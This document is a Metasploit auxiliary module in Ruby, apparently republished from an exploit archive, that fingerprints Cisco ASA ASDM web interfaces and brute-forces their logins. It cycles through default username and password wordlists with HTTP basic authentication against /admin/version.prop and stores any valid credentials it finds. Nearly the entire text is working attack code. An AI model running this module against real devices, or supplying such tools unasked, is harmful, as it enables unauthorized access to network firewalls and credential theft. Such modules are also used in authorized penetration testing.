Exploit for Cisco ASA ASDM Brute-force Login

## https://sploitus.com/exploit?id=PACKETSTORM:181103
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco ASA ASDM Brute-force Login',  
'Description' => %q{  
This module scans for the Cisco ASA ASDM landing page and performs login brute-force  
to identify valid credentials.  
},  
'Author' => [  
'jbaines-r7'  
],  
'References' => [  
[ 'URL', 'https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html' ]  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'BLANK_PASSWORDS' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
OptPath.new('USERPASS_FILE', [  
false, 'File containing users and passwords separated by space, one pair per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')  
]),  
OptPath.new('USER_FILE', [  
false, 'File containing users, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')  
]),  
OptPath.new('PASS_FILE', [  
false, 'File containing passwords, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')  
])  
]  
)  
end  
  
def run_host(_ip)  
# Establish the remote host is running Cisco ASDM  
res = send_request_cgi('uri' => normalize_uri('/admin/public/index.html'))  
return unless res && res.code == 200 && res.body.include?('<title>Cisco ASDM ')  
  
print_status('The remote target appears to host Cisco ASA ASDM. The module will continue.')  
print_status('Starting login brute force...')  
  
each_user_pass do |user, pass|  
do_login(user, pass)  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: 'Cisco ASA ASDM',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: DateTime.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
# Brute-force the login page  
def do_login(user, pass)  
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")  
res = send_request_cgi({  
'uri' => normalize_uri('/admin/version.prop'),  
'agent' => 'ASDM/ Java/1.8.0_333',  
'authorization' => basic_auth(user, pass)  
})  
  
# check if the user was forwarded to the version.prop file  
if res && res.code == 200 && res.body.include?('asdm.version=') && res.body.include?('launcher.version=')  
  
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")  
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)  
  
return :next_user  
else  
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")  
end  
end  
end